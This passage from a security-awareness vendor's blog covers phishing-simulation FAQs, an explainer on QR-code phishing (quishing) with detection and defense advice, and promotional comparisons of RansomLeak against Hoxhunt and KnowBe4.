carelessness. Upgrade those employees to more frequent, harder simulations rather than escalating consequences. ### What is a good phishing click rate? Baseline rates typically run 25-35% before a program starts. Mature programs with monthly simulations drop to 3-7% within 12 months. Report rates rising to 15-30% is a stronger signal than clicks alone. The Verizon DBIR benchmark is 10% click rate as the threshold below which most organizations operate. ### How is phishing simulation different from real phishing? Mechanically identical: same sender spoofing, same lookalike domains, same urgency cues. Legally and ethically different: simulations are sanctioned by leadership, route clicks to a safe training landing page, and carry no malware or credential harvesters. Simulations require a clear incident-response carve-out so the SOC does not respond to their own training program. --- *Experience realistic phishing simulations firsthand. [Try our free Phishing exercise](/exercises/phishing/), or practice the harder variants like [Callback Phishing](/exercises/callback-phishing/), [Calendar Invite Scams](/exercises/calendar-invite-scams/), and [Deepfake Audio Detection](/exercises/deepfake-audio-detection/), and see how simulation-based training differs from passive content.* --- ### Quishing (QR Code Phishing): How to Stop It Source: https://ransomleak.com/blog/quishing/ Quishing is phishing delivered through a QR code. The attacker encodes a malicious URL inside a square of pixels, drops it into a corporate email or prints it over a legitimate sign, and lets the target's phone do the rest. Email filters see an image, not a link. The victim scans on a personal device that sits outside every corporate security control. That mismatch is what makes quishing work. ## What is quishing? Quishing is a phishing technique where attackers encode a malicious URL inside a QR code and deliver it via email, printed material, or physical placement. When the target scans the code, their phone opens a credential-harvesting page, an OAuth consent prompt, or a drive-by download. The name combines "QR" and "phishing." The attack has a clear structural advantage over a normal phishing link. A secure email gateway can parse URLs, rewrite them, and check them against threat intelligence in milliseconds. It cannot read a picture. And even when an email gateway decodes the QR code correctly, the scan usually happens on a personal phone that lives outside every enterprise control your team has configured. According to Abnormal Security's 2024 threat report, QR code phishing volumes grew more than 400% in the second half of 2023 compared with the same period a year earlier. HP Wolf Security has since documented sustained campaigns impersonating Microsoft 365, DocuSign, and internal HR portals through 2024 and into 2025. ## Why quishing works in 2026 Three properties make quishing hard to stop with conventional tools. **Email gateways were never built for images.** A Secure Email Gateway inspects URLs, attachments, and sender reputation. QR codes sit inside an image file, and some attackers now build the code in HTML tables or ASCII art so it does not even register as an image. Microsoft, Proofpoint, and Abnormal have added image-level decoders, but detection is inconsistent, especially when the URL chains through three or four redirects before landing. **The attack jumps to an unmanaged device.** The victim reads the email on a managed laptop behind a web proxy and endpoint agent. They scan the code with a personal phone that has no proxy, no DNS filter, and no DLP client. The credential theft happens on a device the security team cannot see. **The pretext mixes authority with low friction.** A printed notice that says "scan for quick MFA re-enrollment" combines a familiar brand with a frictionless action. Banks, parking meters, restaurants, and shipping carriers have all trained people to scan codes without thinking. Attackers exploit that learned behavior directly. ## How quishing attacks spread Email is the most common delivery path, but it is not the only one. **Corporate email with QR code lures.** The most documented variant. Messages impersonate Microsoft Authenticator enrollment, DUO re-authentication, DocuSign envelopes, SharePoint sharing notifications, and internal HR policy updates. Some emails explicitly claim the process "only works on mobile" to justify the QR format. Cofense and Perception Point both tracked surges of these through 2024, with Microsoft 365 login as the overwhelming target. **Physical poster and sign overlays.** Attackers print a small QR sticker and place it over a legitimate code on parking meters, restaurant menus, or transit ticket machines. The FBI's Internet Crime Complaint Center issued a public advisory in January 2022 after tampered parking meter codes in Austin, San Antonio, and other cities redirected drivers to fraudulent payment portals. The same playbook is now appearing on conference badges and lobby signage. **Postal mail and package notices.** The Swiss National Cyber Security Centre (NCSC) warned in late 2023 about physical letters impersonating the Swiss postal service, with QR codes that downloaded Android banking trojans. US consumers have reported similar scams mailed as IRS notices, benefits updates, and toll road invoices. **Internal documents after an initial breach.** Once attackers gain access to a single corporate account, they embed QR codes in internal wikis, shared PDFs, and Slack pins. These carry higher trust because they come from "inside," and they route around outbound email scanning entirely. **Multi-channel combos.** Quishing pairs well with [callback phishing](/blog/callback-phishing/). One email includes both a QR code and a phone number. "Scan or call for faster service." Two attack paths in one message, and neither contains a clickable URL. ## How to spot a quishing attempt Most detection advice for [link-based phishing](/blog/phishing-detection/) does not apply to quishing, because there is no link to hover over. Use this four-step check instead. ### Question why a QR code is necessary Ask why the sender chose a QR code instead of a normal URL. Internal systems and legitimate services always have navigable login pages, so a QR code in a corporate email is almost always unnecessary and suspicious. If the email claims to be from IT, HR, or a vendor, picture how they would normally ask for this action. Internal password resets happen inside the identity provider. DocuSign sends an envelope link. Microsoft sends a deep link to its own portal. A QR code short-circuits every one of those expected flows, which is the point for an attacker and the red flag for a reader. ### Check the sender carefully Inspect the actual sender address, not the display name. Quishing emails impersonate Microsoft, Google, DocuSign, and your own domain. A mismatched or random sender domain is the single strongest signal. Open the full headers if your mail client hides them. Look for SPF, DKIM, and DMARC failures. A message that claims to come from `security@microsoft.com` but fails DMARC is not Microsoft, regardless of how clean the logo looks. ### Preview the QR destination before visiting Both iOS and Android briefly show the destination URL before opening the browser. Read it. If the domain does not match the claimed sender, or it is a URL shortener like bit.ly, treat it as malicious and do not tap through. Practice this with a safe code first. Open the camera, frame a known QR code, and wait until the URL banner appears. If you did not know the banner existed, you are not alone, and you are also the target audience for an attacker who expects you to tap without reading. ### Verify through a separate channel If the message claims you need to re-authenticate, navigate to the service directly by typing the URL yourself. Never use the contact method provided in the suspicious message. The same rule applies to physical codes. If a parking meter QR code looks off, pay through the official app or by the published phone number. If a letter claims to be from your bank, call the number on the back of your card. Out-of-band verification defeats the entire class of attacks. ## Real examples from 2024 and 2025 **US federal agency campaign.** Cofense disclosed a late 2024 campaign that sent Microsoft-branded MFA enrollment emails to staff at a US federal agency. The QR codes resolved to an Evilginx2 reverse proxy that harvested both credentials and session cookies, letting the attackers bypass MFA on more than 40 mailboxes before the campaign was contained. **Energy sector spear quish.** Perception Point reported a targeted quishing run in Q1 2025 against operators at a North American energy utility. The lure posed as a DocuSign vendor agreement, and the codes pointed to lookalike SSO pages themed for the utility's identity provider. Several operators entered credentials on their personal phones, and attackers used the access to stage further [business email compromise](/blog/bec-training/) against the accounts payable team. **Parking meter scam with direct dollar losses.** The FBI's January 2022 advisory remains one of the best-documented physical quishing events. Austin police alone tracked more than 20 tampered parking meters, and multiple drivers reported card fraud within hours of scanning. Individual losses ranged from a few hundred dollars to several thousand once attackers tested stolen card details. If your history of real incidents is not documented, a plausible scenario is enough for training. A logistics company receives an internal-looking email with a QR code and the text "scan to re-accept the updated vendor code of conduct." The destination is a Microsoft 365 consent screen. The first user to scan on their phone grants an attacker-controlled OAuth app read access to their mailbox. Within an hour, the attacker is replying to invoice threads from inside the trusted account. ## How to defend your organization No single control stops quishing. Defense needs to cover email, devices, and behavior in parallel. **Apply email filter rules for inline QR codes.** Microsoft Defender, Proofpoint, and Abnormal all now decode QR codes inside images and render the underlying URL for inspection. Turn those policies on, then tune them to quarantine messages that contain a QR code, an external sender, and any urgency language in the same body. **Lock down QR scanner apps with MDM.** Most platforms let you require the native camera app for QR scanning, block sideloaded scanner apps, and force URL previews before navigation. iOS and Android both support this through standard mobile device management policies. **Run quishing in your simulation program.** Generic phishing tests do not build the right reflex, because they still reward hovering over links. Include QR-code scenarios in your [phishing simulation training](/blog/phishing-simulation-training/) rotation, and use the free [QR code phishing exercise](/exercises/qr-code-phishing/) so every employee encounters one before they meet a real one. **Deploy domain-locking password managers.** A password manager that only autofills on the exact domain it stored the credential for will refuse to populate on a quishing page. That single control defeats credential harvest in most of the documented campaigns. **Build a reliable report-a-phish channel.** Employees need one button in their mail client and one short number in their corporate directory to report a suspicious message, whether it is email, SMS, or a physical poster. Reports compound. The third employee who flags a quishing email often saves the seventh from falling for it. **Audit physical signage and printed materials.** Assign office managers a quarterly walk-through to inspect posters, lobby signs, and conference handouts for tampered QR codes. A small sticker applied over a legitimate code is surprisingly easy to spot when someone is looking. **Require phishing-resistant MFA.** Hardware security keys and platform authenticators cannot be relayed by an adversary-in-the-middle proxy, which is what most quishing kits now include. One-time codes can. If your identity provider supports passkeys or FIDO2, this is the single most effective change you can make. **Limit external OAuth consent.** Many quishing campaigns end in an attacker-controlled OAuth application rather than a cloned login page. Microsoft 365 and Google Workspace both let you require admin approval for third-party app consent. Turn it on for anything that requests mailbox, drive, or calendar scopes. ## Quishing vs email phishing vs smishing The three share a goal and diverge on the delivery channel. [Traditional phishing](/glossary/#phishing) arrives as email with a clickable URL, and the classic defense is to hover the link, inspect the domain, and verify the sender. [Smishing](/blog/what-is-smishing-cybersecurity/) arrives as a text message and relies on small-screen truncation plus personal device trust to bypass corporate filters entirely. Quishing combines the worst properties of both. The message arrives in corporate email, but the action happens on a personal phone. Secure email gateways lose the URL in the image, and mobile browsers lose it in the preview banner. Each channel needs its own detection reflex, which is why training that only covers "hover over the link" leaves a real gap. ## Train employees to recognize quishing Quishing-specific habits are narrow enough to teach in one short session and valuable enough to practice every quarter. Focus the session on the four-step check above, then reinforce with hands-on exercises from the [security awareness catalogue](/catalogue/security-awareness/). Our [QR code phishing exercise](/exercises/qr-code-phishing/) puts learners in front of a realistic corporate quishing email, lets them preview the destination, and walks them through the decision to scan or not. For broader coverage, the free [RansomLeak learning library](/learning/) includes related exercises on callback phishing, smishing, and business email compromise, because quishing rarely lands alone. ## FAQ ### Is quishing different from phishing? Quishing is a variant of phishing that delivers the malicious URL through a QR code instead of a clickable link. The goal is identical, but the detection signals are different because a QR code bypasses link-based filters and moves the attack to the victim's phone. ### Can email filters catch quishing? The best email security platforms decode QR codes inside images and inspect the embedded URL, but detection rates are inconsistent. Attackers use redirect chains, reputable URL shorteners, and multi-image splitting to confuse scanners. Treat gateway filtering as a helpful layer, not a complete defense. ### Are some QR codes always safe? No QR code is safe by default, including codes printed by brands you trust. Physical codes can be overlaid with a sticker, and digital codes can be swapped in compromised email threads. Preview the destination before you tap, every time. ### What apps can preview QR codes safely? The native camera apps on iOS and Android both show the destination URL as a banner before opening the browser. Do not install a third-party "QR scanner" app from an unknown publisher. Many of those apps request broad permissions and can themselves act as a malware channel. ### Is it safe to scan a QR code with a password manager open? Scanning itself does not expose credentials. The risk starts when the page loads and asks for a login. A password manager that domain-locks autofill will refuse to populate on a lookalike domain, which is a useful secondary check, but the primary decision is to not load the page in the first place. ### Can MFA stop quishing? Traditional one-time-code MFA does not. Most quishing kits relay the code through a proxy in real time. Phishing-resistant MFA like hardware security keys, passkeys, or platform authenticators cannot be relayed and does stop the attack. ### How often should employees train on quishing? At least once per year as part of [phishing awareness training](/blog/phishing-simulation-training/), plus one simulation per quarter. QR code pretexts evolve faster than annual refreshes, so short, realistic practice matters more than long sessions. ### What should I do if I already scanned a malicious QR code? If you entered credentials, change the password on that service immediately and revoke active sessions. Notify your security team, preserve the original email, and check for unexpected OAuth grants or mailbox forwarding rules. Quick action is often the difference between a close call and a full account takeover. ## Bottom line Quishing is not a new attack. It is a delivery trick that converts a well-understood phishing chain into one that bypasses email filters and shifts credential theft onto a device you cannot monitor. The fix is not one control. It is better email decoding, mobile policies, phishing-resistant MFA, and a specific set of reflexes for the people who scan the codes. If you want your team to meet a realistic quishing email in training before they meet one in production, start with the free [QR code phishing exercise](/exercises/qr-code-phishing/) and pair it with the broader [security awareness catalogue](/catalogue/security-awareness/). ## Sources - [Abnormal Security, H2 2023 Email Threat Report](https://abnormalsecurity.com/resources/email-security-threat-report) - [Cofense, 2024 Annual State of Email Security Report](https://cofense.com/annual-report/) - [HP Wolf Security Threat Insights](https://threatresearch.ext.hp.com/) - [FBI IC3 Public Service Announcement on QR Code Scams, January 2022](https://www.ic3.gov/Media/Y2022/PSA220118) - [Swiss NCSC Advisory, QR Code Phishing by Post, November 2023](https://www.ncsc.admin.ch/ncsc/en/home.html) - [Verizon 2024 Data Breach Investigations Report](https://www.verizon.com/business/resources/reports/dbir/) --- ### RansomLeak vs Hoxhunt Comparison Source: https://ransomleak.com/blog/ransomleak-vs-hoxhunt/ Hoxhunt and RansomLeak both reject the idea that security training should be a passive, video-heavy compliance exercise. Both platforms bet on engagement over lecture slides. But they solve the engagement problem in fundamentally different ways. Hoxhunt builds AI-adaptive phishing simulations that adjust difficulty based on each employee's performance. The system learns who falls for what and sends progressively harder attacks to keep people challenged. It is a sophisticated approach to the phishing simulation problem specifically. RansomLeak builds interactive 3D simulations where employees practice handling full attack scenarios. Not just phishing, but ransomware, social engineering, vishing, deepfakes, AI security threats, and GDPR compliance. The focus is hands-on practice across the full spectrum of security risks. Both approaches work. The question is which one matches what your organization actually needs. ## What is Hoxhunt? Hoxhunt is a Finnish security awareness and phishing training platform founded in 2016 in Helsinki. The platform uses AI to generate and adapt phishing simulations to each individual employee. Hoxhunt's core mechanism sends simulated phishing emails that increase or decrease in difficulty based on how each person responds. Employees who report simulations earn points and climb leaderboards. The platform focuses on building phishing reporting behavior through positive reinforcement rather than punitive click-rate tracking. Hoxhunt raised a $40 million Series B in 2022 and serves enterprise customers primarily in Europe and North America. ## What is RansomLeak? RansomLeak is a security awareness training platform built around interactive 3D simulations. Founded in 2025 by the creators of Kontra Application Security Training, the platform offers over 100 exercises covering phishing, social engineering, ransomware, business email compromise, vishing, smishing, privacy compliance (GDPR, CCPA, HIPAA), and AI security. Training is delivered through immersive scenarios where employees make decisions in realistic attack situations. RansomLeak supports both SCORM deployment into existing LMS infrastructure and a standalone cloud platform with analytics, SSO, and campaign management. ## Feature comparison | Category | RansomLeak | Hoxhunt | |---|---|---| | Content approach | Interactive 3D simulations | AI-adaptive phishing simulations | | Primary focus | Full security awareness (phishing, social engineering, ransomware, AI, privacy) | Phishing detection and reporting | | Adaptive difficulty | Exercises range from beginner to advanced | AI adjusts per-employee in real time | | Gamification | Points, badges, leaderboards | Points, leaderboards, team competitions | | Content library | 100+ exercises across 14 categories | Phishing templates (AI-generated) | | SCORM support | SCORM 1.2 and 2004 export | No SCORM export | | LMS flexibility | Any LMS or standalone cloud | Hoxhunt platform only | | Free content | 100+ exercises, no sign-up | Demo through sales team | | Reporting focus | Completion, engagement, compliance | Reporting rates, resilience scores | | SSO/SAML | Okta, Azure AD, Google Workspace | Major IdP support | | Languages | Growing multilingual | 30+ languages | | Compliance reporting | SOC 2, ISO 27001, HIPAA, PCI DSS, GDPR, NIS2 | SOC 2, GDPR | | Pricing | Enterprise custom | Enterprise custom (premium tier) | ## Where Hoxhunt is stronger **AI-adaptive phishing simulations.** Hoxhunt's core strength is its adaptive engine. The system automatically adjusts phishing simulation difficulty based on each employee's track record. New or struggling employees get simpler phishing emails. Employees who consistently report simulations face increasingly sophisticated attacks. This personalized approach means every employee is challenged at their level, which is a genuinely good way to build [phishing detection skills](/blog/phishing-detection/) over time. **Phishing reporting culture.** Hoxhunt is specifically designed to build reporting behavior. The platform rewards employees who report suspicious emails rather than punishing those who click. This positive reinforcement model produces measurably higher phishing reporting rates. If building a strong reporting culture is your top priority, Hoxhunt's approach is purpose-built for it. **Behavioral analytics depth.** Hoxhunt tracks individual employee resilience scores over time, showing how each person's ability to detect phishing evolves. This per-employee behavioral data is deeper than what most platforms offer for phishing-specific metrics. Managers can identify who needs more training and who is becoming an effective [human firewall](/blog/human-firewall-training/). **Language coverage.** With support for 30+ languages, Hoxhunt handles global rollouts well. Phishing simulations are delivered in the employee's language, which matters for realistic training. ## Where RansomLeak is stronger **Topic breadth.** This is the fundamental difference. Hoxhunt focuses on phishing detection and reporting. RansomLeak covers the full security awareness spectrum: [phishing](/exercises/phishing/), [social engineering](/exercises/social-engineering/), [ransomware](/exercises/ransomware/), [business email compromise](/exercises/business-email-compromise/), [vishing](/exercises/vishing/), [smishing](/exercises/smishing/), [callback phishing](/exercises/callback-phishing/), [USB drop attacks](/exercises/usb-drop-attack/), [insider threats](/exercises/insider-threat-intentional/), [GDPR compliance](/catalogue/privacy-compliance/), [AI security](/catalogue/ai-security/), and [real-world incident analysis](/catalogue/real-world-incidents/). If your program needs to train employees on threats beyond email, RansomLeak covers ground that Hoxhunt does not. **Learning method.** Hoxhunt trains through simulated phishing emails. RansomLeak trains through interactive 3D scenarios where employees step into realistic situations and make decisions. Both methods beat passive video, but the simulation approach allows for complex multi-stage scenarios that a phishing email cannot replicate. A [deepfake social engineering exercise](/blog/deepfake-social-engineering/) or a [ransomware response drill](/blog/ransomware-awareness-training/) requires more than an inbox interaction. **SCORM and LMS flexibility.** RansomLeak exports as SCORM 1.2 and 2004 packages that integrate with [any standards-compliant LMS](/blog/scorm-security-training/). Hoxhunt operates exclusively through its own platform. If your organization mandates that all training runs through a central LMS (Cornerstone, Workday, Moodle, or similar), RansomLeak meets that requirement. Hoxhunt does not. **Free evaluation.** RansomLeak offers [100+ exercises for free](/catalogue/) with no account or sales conversation required. You can assess the content quality, the interaction model, and the topic coverage before committing. Hoxhunt requires a sales-led demo process to evaluate the platform. **Compliance framework coverage.** RansomLeak provides audit-ready reporting for SOC 2, ISO 27001, HIPAA, PCI DSS, GDPR, and NIS2. This broader compliance coverage matters for organizations operating under multiple regulatory frameworks. ## Who should choose Hoxhunt? Hoxhunt is the right platform if: - Phishing detection and reporting are your program's primary focus - You want AI-driven adaptive difficulty that personalizes to each employee - Building a phishing reporting culture matters more than broad topic coverage - Your organization does not need SCORM/LMS integration - You have the budget for premium per-seat pricing The typical Hoxhunt buyer is a mid-to-large enterprise with a security team that prioritizes phishing resilience metrics and wants automated, AI-driven simulation campaigns that run with minimal manual configuration. ## Who should choose RansomLeak? RansomLeak is the right platform if: - You need training that covers more than phishing (social engineering, ransomware, AI threats, compliance) - You want employees to practice handling attacks in realistic simulations - SCORM integration with your existing LMS is a requirement - You want to try the full content library before committing (free exercises) - Your compliance program spans multiple frameworks (SOC 2, ISO 27001, HIPAA, GDPR, NIS2) The typical RansomLeak buyer is an organization that needs a comprehensive security awareness program, not just a phishing simulation tool, and wants training that employees actually engage with. ## How does pricing compare? Both platforms use custom enterprise pricing. Hoxhunt positions itself at the premium end of the market. Exact pricing requires a quote from both vendors, but industry conversations suggest Hoxhunt's per-seat cost is higher than the market average, reflecting its AI-adaptive technology. RansomLeak's all-free exercise library means you can assess the full training content at zero cost before entering a pricing conversation for enterprise features. This is unusual in the SAT market, where most vendors gate their content behind sales calls. The pricing question matters less than the scope question. If phishing simulation is all you need, compare Hoxhunt's price against other phishing-focused tools. If you need phishing plus ransomware plus social engineering plus compliance plus AI security training, comparing Hoxhunt's phishing-only price to RansomLeak's full-spectrum price is not apples-to-apples. ## How to decide The choice between Hoxhunt and RansomLeak is not about which platform is "better." It is about what your security awareness program needs to accomplish. If your primary goal is reducing phishing susceptibility through AI-adaptive simulations and building a strong reporting culture, Hoxhunt is purpose-built for exactly that. If your program needs to cover the full range of security threats, from [phishing](/blog/phishing-detection/) to [ransomware](/blog/ransomware-awareness-training/) to [credential stuffing](/blog/credential-stuffing-awareness/) to [AI security risks](/blog/owasp-llm-top-10/), and you want employees to practice handling those threats in interactive simulations, RansomLeak covers more ground. Try both. Hoxhunt offers demos through their sales team. RansomLeak's [full exercise catalogue](/catalogue/) is free to try right now. If Hoxhunt is only one of the platforms you are weighing, our [Hoxhunt alternatives comparison](/blog/hoxhunt-alternatives/) breaks down the eight vendors most often shortlisted against it, and our 2026 roundup of [the best security awareness training platforms](/blog/best-security-awareness-training-2026/) covers the broader category. --- *See how interactive simulations compare to adaptive phishing. Try a free [phishing exercise](/exercises/phishing/), [vishing scenario](/exercises/vishing/), or [deepfake whaling simulation](/exercises/whaling-with-a-deepfake/). Browse the full [training catalogue](/catalogue/) for 100+ exercises. No sign-up required.* --- ### RansomLeak vs KnowBe4 Comparison Source: https://ransomleak.com/blog/ransomleak-vs-knowbe4/ RansomLeak and KnowBe4 both sell security awareness training, but they teach in almost opposite ways. KnowBe4 runs the largest video-and-quiz library on the market, paired with a mature phishing simulation engine. RansomLeak runs interactive 3D simulations where employees practice handling attacks instead of watching them. This comparison covers content, pricing, AI threat coverage, SCORM, and who each platform fits. _Updated April 2026._ ## Quick comparison (TL;DR) Picking between RansomLeak and KnowBe4 usually comes down to one question: do you want a massive content library with proven phishing simulation tooling, or do you want employees to practice decisions inside hands-on scenarios. The table below is the fastest way to see where each platform lands. | Dimension | RansomLeak | KnowBe4 | |---|---|---| | Content format | Interactive 3D scenarios, decision-based | Video modules, posters, newsletters, some interactive | | AI-era threat coverage | OWASP LLM Top 10, prompt injection, deepfake whaling, Clawdbot | AI Defense Agents product line, select AI awareness modules | | Phishing simulation | Scenario-based exercises plus SCORM | PhishER, Smart Delivery, large template library | | SCORM / LMS fit | SCORM 1.2 and 2004 export, 50+ tested LMSes | ModStore content plus KnowBe4's own LMS | | Deployment time | Days via SCORM or free tier | Typically weeks, KMSAT onboarding | | Free tier | 100+ exercises, no sign-up | Free tools (Phishing Test, RanSim), paid training | | Pricing | Free library, enterprise custom for platform features | Roughly $1.50 to $3.25 per user per month in public reviews | | Best fit | Mid-market and enterprise teams prioritizing engagement and AI threats | Large enterprise, regulated industries, channel-led buying | ## Who KnowBe4 is for KnowBe4 was founded in 2010 and is the largest security awareness training vendor in the world, with tens of thousands of customer organizations. The platform is anchored by KMSAT (Kevin Mitnick Security Awareness Training), the ModStore content library, and PhishER for inbox-level phishing triage. KnowBe4 describes its platform as combining Human Risk Management with its AI Defense Agents product line. The typical KnowBe4 buyer is a large enterprise or regulated organization that wants a proven incumbent on the vendor shortlist. Training Access Levels (Silver, Gold, Platinum, Diamond) let procurement align seat cost with content depth. The channel network is broad, and KnowBe4 clears vendor reviews quickly thanks to its compliance documentation and operational track record. Its biggest strengths are scale, breadth, and integration ecosystem. The content library runs into thousands of modules in 35+ languages. The phishing simulation engine is among the most mature in the category. For organizations that already run KnowBe4 across multiple business units, the switching cost is real. ## Who RansomLeak is for RansomLeak is a security awareness training platform built around interactive 3D simulations, founded in 2025 by the creators of Kontra Application Security Training. The platform ships [100+ exercises](/catalogue/) spanning phishing, ransomware, social engineering, privacy compliance, and AI security. Employees practice attacks rather than watch them. The core buyer is a mid-market or enterprise security team that has run a traditional video-first program, watched completion rates stay high and recall stay low, and wants something employees actually engage with. Teams prioritizing AI-era threats (prompt injection, deepfake voice, agentic misuse) also look to RansomLeak because those topics have dedicated catalogue coverage. RansomLeak supports [SCORM 1.2 and SCORM 2004 export](/blog/scorm-security-training/) into any standards-compliant LMS, plus a standalone cloud platform with analytics, SSO, and campaign management. The entire exercise catalogue is free to try without a sales call. ## Content format: library videos vs interactive simulations This is the clearest fork in the road. KnowBe4's training is built around a large ModStore library of videos, modules, games, posters, and newsletters. Employees watch a module, answer quiz questions, and receive a completion record. The breadth is the differentiator: if you need coverage of a niche compliance topic, KnowBe4 probably has a module for it. RansomLeak trains through interactive 3D scenarios. Employees step into a simulated inbox, meeting, or incident, read the context, make decisions, and see consequences. There is no narrator explaining the lesson afterwards. The scenario itself is the lesson. The learning-science case for active participation is well established. The National Training Laboratories Learning Pyramid, along with David Kolb's experiential learning cycle research, puts retention for "practice by doing" at roughly 75%, compared to roughly 10% for reading and around 20% for audio-visual content. The pyramid has methodological critics, but the broader research consensus that practice outperforms passive consumption holds across adult-learning studies. See our summary of [security awareness training effectiveness research](/blog/security-awareness-training-effectiveness/) for the underlying sources. ## AI-era threat coverage AI-generated phishing, voice cloning, deepfake video, and agent-based attacks have moved from speculative to operational in the past eighteen months. The 2024 Verizon Data Breach Investigations Report attributes 68% of breaches to a human element, and AI has made the social-engineering half of that statistic materially harder to spot. KnowBe4's response has been its AI Defense Agents product line, positioning AI as part of the platform's threat detection layer. Some training modules in ModStore cover AI-enabled phishing and deepfake awareness, but the depth varies across topics. RansomLeak treats AI threats as a first-class training category. The [AI security catalogue](/catalogue/ai-security/) includes dedicated exercises on [OWASP LLM Top 10 risks](/blog/owasp-llm-top-10/), prompt injection, [deepfake whaling with voice cloning](/blog/deepfake-social-engineering/), and [Clawdbot-style indirect prompt injection](/blog/clawdbot-security-risks/). For teams worried that a generic "spot the phishing email" module does not cover what employees now face, this breadth is the differentiator. Neither platform is going to replace a technical control like an email security gateway. Both are building employee judgment for a threat surface that did not exist three years ago. ## Phishing simulation capabilities KnowBe4 ships a mature phishing simulation platform. Thousands of templates, Smart Delivery to stagger sends, PhishER for triaging real reports, Smart Attachments, and AI-powered "PhishFlip" that converts real phishing into training. If phishing simulation automation is the center of your program, KnowBe4 has the deepest tooling in the category. RansomLeak's approach is different. Phishing lives inside the interactive scenario library: [spear phishing](/exercises/spear-phishing/), [callback phishing](/exercises/callback-phishing/), [QR code phishing](/exercises/qr-code-phishing/), [vishing](/exercises/vishing/), [smishing](/exercises/smishing/), [barrel phishing](/blog/barrel-phishing/), and more. Employees practice the decision inside a controlled scenario rather than inside their own inbox. If you need continuous inbox-level simulation at scale, RansomLeak does not replace a dedicated phishing simulation platform today. Many teams pair RansomLeak training with a phishing simulator and export completion data via SCORM back to the LMS. That combination is common in mid-market security programs. ## Pricing and contracts KnowBe4 uses per-seat tiered pricing across Silver, Gold, Platinum, and Diamond. Public reviews on G2 and third-party procurement writeups put the cost in the range of roughly $1.50 to $3.25 per user per month, depending on tier and organization size. Contracts are typically annual. Exact pricing requires a quote and depends heavily on seat count. RansomLeak uses custom enterprise pricing for the platform, paired with a fully free exercise library that requires no account. The model is unusual in security awareness training, where most vendors gate content behind a sales conversation. Enterprise features like analytics, SSO, SCORM export, and campaign management are part of the paid tier. Direct price comparison is hard because the platforms bundle features differently. A better frame is cost per behavior change. A cheaper program that employees click through in ten minutes without remembering anything is more expensive than a higher-engagement program that actually moves the needle on incidents. ## SCORM and LMS integration Both platforms support SCORM, but the emphasis is different. KnowBe4 operates primarily through its own LMS, with ModStore content delivered inside the KnowBe4 console. SCORM export exists but is not the primary distribution path. Organizations that want KnowBe4 content inside Cornerstone, Workday, or Docebo sometimes hit friction. RansomLeak was designed for LMS export from day one. Every exercise is available as a SCORM 1.2 or SCORM 2004 package, with one-click export and tested compatibility across [50+ LMSes](/blog/scorm-security-training/) including Cornerstone, Workday, SAP SuccessFactors, Docebo, Moodle, Canvas, and Absorb. If your organization centralizes training in a corporate LMS, RansomLeak runs inside it without workarounds. The trade-off is that RansomLeak's standalone cloud platform is newer and does not match the operational maturity of KnowBe4's console. Teams that want a dedicated security awareness console, separate from their LMS, often prefer what KnowBe4 has built over a decade. ## Engagement and behavior change data Both vendors publish completion-rate numbers, and both vendors can produce happy customer references. The more useful data comes from the broader research base. The 2024 Verizon Data Breach Investigations Report found that 68% of breaches involved a non-malicious human element: phishing, pretexting, credential misuse, or policy violation. The SANS Security Awareness Report consistently finds that programs producing measurable behavior change share common traits: frequent reinforcement, job-relevant content, and active practice rather than passive consumption. RansomLeak's model maps directly to those traits. Interactive scenarios are practice, not reading, and the [catalogue](/catalogue/) covers the job-relevant attack surface (phishing, social engineering, AI threats, privacy, real-world incidents). KnowBe4's model leans more on reinforcement and frequency, with shorter video modules scheduled across the year. Neither model is academically "proven" superior in every organization. The practical test is running both against your own completion data, post-training surveys, and phishing simulation click rates. ## When to pick each Pick KnowBe4 if your primary need is the largest possible content library, a mature phishing simulation platform with PhishER and Smart Delivery, and a vendor with ten-plus years of enterprise track record that clears procurement quickly. KnowBe4 is also the safer choice for globally distributed organizations needing 30+ languages today. Pick RansomLeak if you want training employees actively practice rather than watch, you need deep coverage of AI-era threats (prompt injection, deepfake, OWASP LLM Top 10), or SCORM export into your existing LMS is a hard requirement. RansomLeak also fits teams that want to evaluate the full content library before entering a pricing conversation. Pick both, in parallel, if you have the budget and are running a 90-day bake-off. KnowBe4 can run phishing simulations and compliance content while RansomLeak covers interactive practice and AI threats. Many teams run exactly this combination. ## How to switch from KnowBe4 to RansomLeak The migration path is straightforward for organizations already using SCORM. RansomLeak's SCORM 1.2 and 2004 packages map directly into the same LMS that hosts your KnowBe4 content, which means existing user accounts, groups, and completion history stay intact. Existing KnowBe4 completion data can be exported via the standard reporting interface and retained for audit purposes. Most compliance frameworks, including SOC 2 and ISO 27001, care about retained evidence of training delivery rather than vendor continuity. Swapping platforms does not reset the clock on compliance evidence. A 90-day parallel run is the most common approach. Keep KnowBe4 for phishing simulation and existing assigned modules, roll out RansomLeak for new campaigns, and compare completion and engagement data at the end. If the RansomLeak program sticks, the next contract renewal becomes the decision point. ## FAQ ### Is RansomLeak a direct replacement for KnowBe4? For most of the training content, yes. RansomLeak covers the same core topics (phishing, social engineering, ransomware, compliance, data handling) plus AI-era threats that are not fully covered in KnowBe4's standard library. For inbox-level automated phishing simulation at enterprise scale, RansomLeak does not currently replace a dedicated phishing simulator, so teams that rely heavily on PhishER or Smart Delivery will want to keep a phishing tool alongside. ### Does RansomLeak replace KnowBe4's phishing simulation? Not fully. KnowBe4's phishing simulation engine, including PhishER and Smart Delivery, is one of the most mature in the category. RansomLeak includes phishing exercises as part of its interactive catalogue, but not continuous inbox-level simulation with the same template breadth. Many mid-market teams use RansomLeak for training and pair it with a dedicated phishing simulator for ongoing campaigns. ### How does RansomLeak's pricing compare to KnowBe4? KnowBe4 publishes tiered per-seat pricing generally in the range of roughly $1.50 to $3.25 per user per month according to public reviews, with annual contracts. RansomLeak uses custom enterprise pricing for platform features and offers the full exercise library for free evaluation. Direct comparison is difficult because the bundles differ, so most buyers compare cost per behavior change rather than cost per seat. ### Can RansomLeak integrate with the same LMS as KnowBe4? Yes, and usually more easily. RansomLeak exports as SCORM 1.2 and SCORM 2004, with tested compatibility across 50+ LMSes including Cornerstone, Workday, SAP SuccessFactors, Docebo, Moodle, Canvas, and Absorb. See the [SCORM security training guide](/blog/scorm-security-training/) for the full list. KnowBe4 operates primarily through its own LMS, with SCORM export available but less central to the product. ### Does RansomLeak cover compliance training (HIPAA, GDPR, SOC 2, NIS2)? Yes. The [privacy and compliance catalogue](/catalogue/privacy-compliance/) covers GDPR, CCPA/CPRA, and HIPAA scenarios. Platform reporting aligns with SOC 2, ISO 27001, HIPAA, PCI DSS, GDPR, and NIS2 evidence requirements. KnowBe4 covers a broader list of regulatory frameworks by module count, so specialized compliance programs should audit both libraries against their specific framework requirements. ### What about 